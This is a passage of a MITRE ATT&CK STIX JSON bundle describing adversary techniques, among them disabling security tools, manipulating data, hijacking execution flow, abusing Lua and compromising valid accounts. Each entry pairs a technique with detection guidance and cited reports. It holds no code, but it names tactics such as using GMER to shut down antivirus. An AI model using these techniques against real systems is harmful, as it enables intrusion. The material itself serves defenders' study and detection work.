adversaries may abuse tools such as legitimate rootkit removal kits to impair and/or disable these tools.(Citation: chasing_avaddon_ransomware)(Citation: dharma_ransomware)(Citation: demystifying_ryuk)(Citation: doppelpaymer_crowdstrike) For example, adversaries have used tools such as GMER to find and shut down hidden processes and antivirus software on infected systems.(Citation: demystifying_ryuk)\n\nAdditionally, adversaries may exploit legitimate drivers from anti-virus software to gain access to kernel space (i.e. [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068)), which may lead to bypassing anti-tampering features.(Citation: avoslocker_ransomware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Gordon Long, Box, Inc., @ethicalhax",
                "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security",
                "Nathaniel Quist, Palo Alto Networks",
                "Gal Singer, @galsinger29, Team Nautilus Aqua Security",
                "Daniel Feichter, @VirtualAllocEx, Infosec Tirol",
                "Cian Heasley",
                "Alex Soler, AttackIQ",
                "Sarathkumar Rajendran, Microsoft Defender365",
                "Lucas Heiligenstein",
                "Menachem Goldstein"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux",
                "Containers",
                "IaaS",
                "Network Devices"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Process: Process Termination",
                "Process: Process Creation",
                "Service: Service Metadata",
                "Windows Registry: Windows Registry Key Modification",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Deletion",
                "Driver: Driver Load"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
            "created": "2020-03-02T14:19:22.609Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1565",
                    "external_id": "T1565"
                },
                {
                    "source_name": "Sygnia Elephant Beetle Jan 2022",
                    "description": "Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.",
                    "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:14:59.144Z",
            "name": "Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Network Traffic: Network Traffic Content",
                "File: File Creation",
                "Network Traffic: Network Traffic Flow",
                "File: File Deletion",
                "File: File Modification",
                "File: File Metadata"
            ],
            "x_mitre_impact_type": [
                "Integrity"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
            "created": "2020-02-12T14:08:48.689Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1559",
                    "external_id": "T1559"
                },
                {
                    "source_name": "Fireeye Hunting COM June 2019",
                    "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html"
                },
                {
                    "source_name": "Linux IPC",
                    "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022.",
                    "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:57.325Z",
            "name": "Inter-Process Communication",
            "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
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            "x_mitre_data_sources": [
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                "Process: Process Creation",
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                "Process: Process Access"
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            "spec_version": "2.1",
            "id": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
            "created": "2017-05-31T21:30:18.931Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1001",
                    "external_id": "T1001"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                {
                    "source_name": "Bitdefender FunnyDream Campaign November 2020",
                    "description": "Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"
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            "name": "Data Obfuscation",
            "description": "Adversaries may obfuscate command and control traffic to make it more difficult to detect.(Citation: Bitdefender FunnyDream Campaign November 2020) Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols. ",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c",
            "created": "2017-05-31T21:30:41.022Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/techniques/T1039",
                    "external_id": "T1039"
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            "modified": "2025-04-16T20:37:18.881Z",
            "name": "Data from Network Shared Drive",
            "description": "Adversaries may search network shares on computers they have compromised to find files of interest. Sensitive data can be collected from remote systems via shared network drives (host shared directory, network file server, etc.) that are accessible from the current system prior to Exfiltration. Interactive command shells may be in use, and common functionality within [cmd](https://attack.mitre.org/software/S0106) may be used to gather information.",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "macOS",
                "Windows"
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                "Network Traffic: Network Traffic Flow",
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2",
            "created": "2020-10-01T01:01:00.176Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1584/006",
                    "external_id": "T1584.006"
                },
                {
                    "source_name": "Recorded Future Turla Infra 2020",
                    "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.",
                    "url": "https://www.recordedfuture.com/research/turla-apt-infrastructure"
                },
                {
                    "source_name": "ThreatConnect Infrastructure Dec 2020",
                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
                    "url": "https://threatconnect.com/blog/infrastructure-research-hunting/"
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            "modified": "2025-04-15T23:20:42.131Z",
            "name": "Web Services",
            "description": "Adversaries may compromise access to third-party web services\u00a0that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains.",
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            "x_mitre_contributors": [
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            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "type": "attack-pattern",
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            "created": "2020-10-19T19:42:19.740Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1601",
                    "external_id": "T1601"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
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            "modified": "2025-04-25T15:15:59.227Z",
            "name": "Modify System Image",
            "description": "Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves.  On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.\n\nTo change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it.  This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.",
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                {
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                    "phase_name": "defense-evasion"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Most embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because this method may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. \n\nCompare the checksum of the operating system file with the checksum of a known good copy from a trusted source.  Some embedded network device platforms may have the capability to calculate the checksum of the file, while others may not.  Even for those platforms that have the capability, it is recommended to download a copy of the file to a trusted computer to calculate the checksum with software that is not compromised.  (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)\n\nMany vendors of embedded network devices can provide advanced debugging support that will allow them to work with device owners to validate the integrity of the operating system running in memory.  If a compromise of the operating system is suspected, contact the vendor technical support and seek such services for a more thorough inspection of the current running system.  (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6",
            "created": "2020-03-12T20:38:12.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574",
                    "external_id": "T1574"
                },
                {
                    "source_name": "Autoruns for Windows",
                    "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020.",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns"
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            "object_marking_refs": [
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            "modified": "2025-04-15T19:58:57.767Z",
            "name": "Hijack Execution Flow",
            "description": "Adversaries may execute their own malicious payloads by hijacking the way operating systems run programs. Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_attack_spec_version": "3.2.0",
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            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of .manifest and .local redirection files that do not correlate with software updates are suspicious.\n\nLook for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nMonitor for changes to environment variables, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so, abnormal process call trees). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nService changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Windows"
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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                "File: File Creation",
                "Module: Module Load",
                "Process: Process Creation",
                "Service: Service Metadata",
                "File: File Modification",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--afddee82-3385-4682-ad90-eeced33f2d07",
            "created": "2024-08-05T18:19:42.201Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1059/011",
                    "external_id": "T1059.011"
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                {
                    "source_name": "Kaspersky Lua",
                    "description": "Global Research and Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 5, 2024.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf"
                },
                {
                    "source_name": "Lua main page",
                    "description": "Lua. (2024, June 25). Getting started. Retrieved August 5, 2024.",
                    "url": "https://www.lua.org/start.html"
                },
                {
                    "source_name": "Lua state",
                    "description": "Lua. (n.d.). lua_State. Retrieved August 5, 2024.",
                    "url": "https://pgl.yoyo.org/luai/i/lua_State"
                },
                {
                    "source_name": "Cyphort EvilBunny",
                    "description": "Marschalek, Marion. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved August 5, 2024.",
                    "url": "https://web.archive.org/web/20150311013500/http:/www.cyphort.com/evilbunny-malware-instrumented-lua/"
                },
                {
                    "source_name": "PoetRat Lua",
                    "description": "Mercer, Warren. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves. Retrieved August 5, 2024.",
                    "url": "https://blog.talosintelligence.com/poetrat-update/"
                },
                {
                    "source_name": "Lua Proofpoint Sunseed",
                    "description": "Raggi, Michael. Cass, Zydeca. The Proofpoint Threat Research Team.. (2022, March 1). Asylum Ambuscade: State Actor Uses Lua-based Sunseed Malware to Target European Governments and Refugee Movement. Retrieved August 5, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/asylum-ambuscade-state-actor-uses-compromised-private-ukrainian-military-emails"
                }
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            "modified": "2025-04-15T19:58:57.854Z",
            "name": "Lua",
            "description": "Adversaries may abuse Lua commands and scripts for execution. Lua is a cross-platform scripting and programming language primarily designed for embedded use in applications. Lua can be executed on the command-line (through the stand-alone lua interpreter), via scripts (<code>.lua</code>), or from Lua-embedded programs (through the <code>struct lua_State</code>).(Citation: Lua main page)(Citation: Lua state)\n\nLua scripts may be executed by adversaries for malicious purposes. Adversaries may incorporate, abuse, or replace existing Lua interpreters to allow for malicious Lua command execution at runtime.(Citation: PoetRat Lua)(Citation: Lua Proofpoint Sunseed)(Citation: Cyphort EvilBunny)(Citation: Kaspersky Lua)",
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                    "phase_name": "execution"
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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            "created": "2020-03-19T21:27:32.820Z",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/005",
                    "external_id": "T1027.005"
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            "modified": "2025-04-16T20:37:19.031Z",
            "name": "Indicator Removal from Tools",
            "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.\n\nA good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.",
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            "x_mitre_detection": "The first detection of a malicious tool may trigger an anti-virus or other security tool alert. Similar events may also occur at the boundary through network IDS, email scanning appliance, etc. The initial detection should be treated as an indication of a potentially more invasive intrusion. The alerting system should be thoroughly investigated beyond that initial alert for activity that was not detected. Adversaries may continue with an operation, assuming that individual events like an anti-virus detect will not be investigated or that an analyst will not be able to conclusively link that event to other activity occurring on the network.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec",
            "created": "2021-03-30T17:20:05.789Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1204/003",
                    "external_id": "T1204.003"
                },
                {
                    "source_name": "Summit Route Malicious AMIs",
                    "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021.",
                    "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/"
                },
                {
                    "source_name": "Aqua Security Cloud Native Threat Report June 2021",
                    "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.",
                    "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
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            "modified": "2025-04-25T14:47:40.745Z",
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            "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)",
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.",
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            "created": "2024-02-15T13:41:46.784Z",
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                    "external_id": "T1543.005"
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                    "source_name": "AppSecco Kubernetes Namespace Breakout 2020",
                    "description": "Abhisek Datta. (2020, March 18). Kubernetes Namespace Breakout using Insecure Host Path Volume \u2014 Part 1. Retrieved January 16, 2024.",
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                    "description": "Docker. (n.d.). Start containers automatically. Retrieved February 15, 2024.",
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                {
                    "source_name": "GTFOBins Docker",
                    "description": "GTFOBins. (n.d.). docker. Retrieved February 15, 2024.",
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                    "source_name": "Kubernetes Assigning Pods to Nodes",
                    "description": "Kubernetes. (n.d.). Assigning Pods to Nodes. Retrieved February 15, 2024.",
                    "url": "https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/"
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                {
                    "source_name": "Kubernetes DaemonSet",
                    "description": "Kubernetes. (n.d.). DaemonSet. Retrieved February 15, 2024.",
                    "url": "https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/"
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                {
                    "source_name": "Aquasec Kubernetes Attack 2023",
                    "description": "Michael Katchinskiy, Assaf Morag. (2023, April 21). First-Ever Attack Leveraging Kubernetes RBAC to Backdoor Clusters. Retrieved July 14, 2023.",
                    "url": "https://blog.aquasec.com/leveraging-kubernetes-rbac-to-backdoor-clusters"
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                {
                    "source_name": "AquaSec TeamTNT 2023",
                    "description": "Ofek Itach and Assaf Morag. (2023, July 13). TeamTNT Reemerged with New Aggressive Cloud Campaign. Retrieved February 15, 2024.",
                    "url": "https://blog.aquasec.com/teamtnt-reemerged-with-new-aggressive-cloud-campaign"
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                {
                    "source_name": "Podman Systemd",
                    "description": "Valentin Rothberg. (2022, March 16). How to run pods as systemd services with Podman. Retrieved February 15, 2024.",
                    "url": "https://www.redhat.com/sysadmin/podman-run-pods-systemd-services"
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            "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "created": "2017-05-31T21:31:00.645Z",
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                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
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                {
                    "source_name": "CISA MFA PrintNightmare",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and \u201cPrintNightmare\u201d Vulnerability. Retrieved March 16, 2022.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa22-074a"
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                {
                    "source_name": "TechNet Credential Theft",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx"
                },
                {
                    "source_name": "TechNet Audit Policy",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
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            "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.(Citation: volexity_0day_sophos_FW) Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)",
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            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
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            "id": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "created": "2020-03-14T18:18:32.443Z",
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                    "url": "https://attack.mitre.org/techniques/T1571",
                    "external_id": "T1571"
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
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                    "source_name": "change_rdp_port_conti",
